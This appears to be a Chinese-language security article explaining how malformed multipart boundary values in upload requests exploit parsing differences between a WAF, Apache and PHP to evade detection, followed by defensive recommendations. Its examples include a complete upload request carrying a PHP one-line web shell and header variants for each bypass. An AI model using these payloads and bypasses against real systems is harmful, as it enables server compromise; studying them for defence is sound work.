PHP+Apache畸形boundary绕过
PHP + Apache 畸形 Boundary 绕过详解
技术原理
这种绕过的核心在于利用 WAF/防护设备、Apache Web服务器 和 PHP解析引擎 三者对 multipart/form-data 请求中 Content-Type 头部的 boundary 分隔符解析存在差异:
-
WAF:通常严格按照 RFC 标准解析
boundary,认为它必须是特定的字符串。 -
Apache HTTP Server:作为中间层,它的解析器相对宽松。
-
PHP:在解析
multipart数据时非常宽容,会尝试各种方式提取边界和字段。
攻击者就是制造一个 WAF 无法正确识别 boundary,但 Apache/PHP 却能成功解析 的请求,从而让恶意文件载荷"隐身"绕过检测。
具体的畸形 Boundary 手法
以下是一些已被公开证明有效的技术:
1. 在 Boundary 前插入换行符 (Line Feed)
-
手法:在
boundary=之后、实际的边界字符串之前插入一个换行符(%0a)。 -
原理:WAF 可能期望
boundary=后面紧跟着边界字符串。插入换行符会破坏 WAF 的解析,导致其无法正确识别整个请求体各部分的分界,从而跳过对文件内容的检测。而 Apache/PHP 能够容忍这种格式并成功解析。 -
示例:
http
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=%0a----WebKitFormBoundaryABC123 Content-Length: xxx --%0a----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']); ?> --%0a----WebKitFormBoundaryABC123--
2. 在 Boundary 中插入空格或引号
-
手法:在 boundary 字符串内部插入空格、双引号等特殊字符。
-
原理:WAF 可能将空格或引号视为 boundary 的结束,导致其提取的 boundary 与实际请求体中使用的 boundary 不一致,无法正确分割 parts。而 PHP 的解析器会忽略这些字符或采用更灵活的方式匹配。
-
示例:
http
Content-Type: multipart/form-data; boundary="----WebKitFormBoundaryABC123"
或
http
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC 123
然后在请求体中依然使用 ----WebKitFormBoundaryABC123。
3. 修改 Boundary 字符串的大小写
-
手法:在
Content-Type头部中声明的 boundary 与请求体中实际使用的 boundary 大小写不同。 -
原理:WAF 在进行字符串匹配时可能是大小写敏感的,而 Apache/PHP 的解析器可能是大小写不敏感的。
-
示例:
http
Content-Type: multipart/form-data; boundary=----webkitformboundaryabc123 ... ----WEBKITFORMBOUNDARYABC123 Content-Disposition: form-data; name="file"; filename="shell.php" ...
4. 双 Boundary 声明
-
手法:在
Content-Type头部中重复声明boundary参数。 -
原理:WAF 可能只读取第一个
boundary的值,而 PHP 可能会读取最后一个。这导致 WAF 和服务器对请求体结构的理解出现偏差。 -
示例:
http
Content-Type: multipart/form-data; boundary=NormalBoundary; boundary=MalformedBoundary ... --MalformedBoundary Content-Disposition: form-data; name="file"; filename="shell.php" ...
WAF 使用 NormalBoundary 来解析请求体,但找不到对应的结构,可能直接放行。而 PHP 使用 MalformedBoundary,成功解析出上传的文件。
5. 使用非 ASCII 字符或超长 Boundary
-
手法:在 boundary 中使用 Unicode 字符,或者设置一个非常长的 boundary 字符串。
-
原理:WAF 的解析器可能无法正确处理非 ASCII 字符,或者对字符串长度有限制,超长字符串可能导致其解析失败。而 PHP 通常能很好地处理这些情况。
-
示例:
http
Content-Type: multipart/form-data; boundary=----🍣WebKitFormBoundarySushiTest
或
http
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123VeryLongString...(数百个字符)
防御建议
对于防御者而言,应对这种绕过需要多层防御:
-
WAF 层面:
-
选择能够模拟后端解析行为的下一代 WAF。
-
WAF 应该对 multipart 请求进行规范化后再进行规则匹配,例如去除多余的换行符、统一大小写、处理重复头部等。
-
实施严格的协议一致性检查,直接拒绝明显畸形的请求。
-
-
服务器配置层面:
-
保持 Apache 和 PHP 的最新版本,已知的解析差异可能在后续版本中被修复。
-
可以考虑使用 ModSecurity 等具有更强解析能力的 WAF 模块,它与 Apache 集成更深,能减少解析差异。
-
-
应用代码层面(根本解决方案):
-
文件上传功能:不要只依赖 WAF。在应用代码中实施严格的白名单验证:
-
文件扩展名白名单:只允许
.jpg,.png,.pdf等业务必需的类型。 -
MIME 类型检查:检查
$_FILES['file']['type'],但不可完全信任。 -
文件内容检测:使用
getimagesize()验证图片文件真实性,或进行病毒扫描。 -
重命名文件:保存时使用随机生成的文件名,并去掉原扩展名,或强制改为安全扩展名。
-
设置隔离的存储目录:确保上传目录没有执行权限,脚本文件即使上传也无法运行。
-
-
更多推荐



所有评论(0)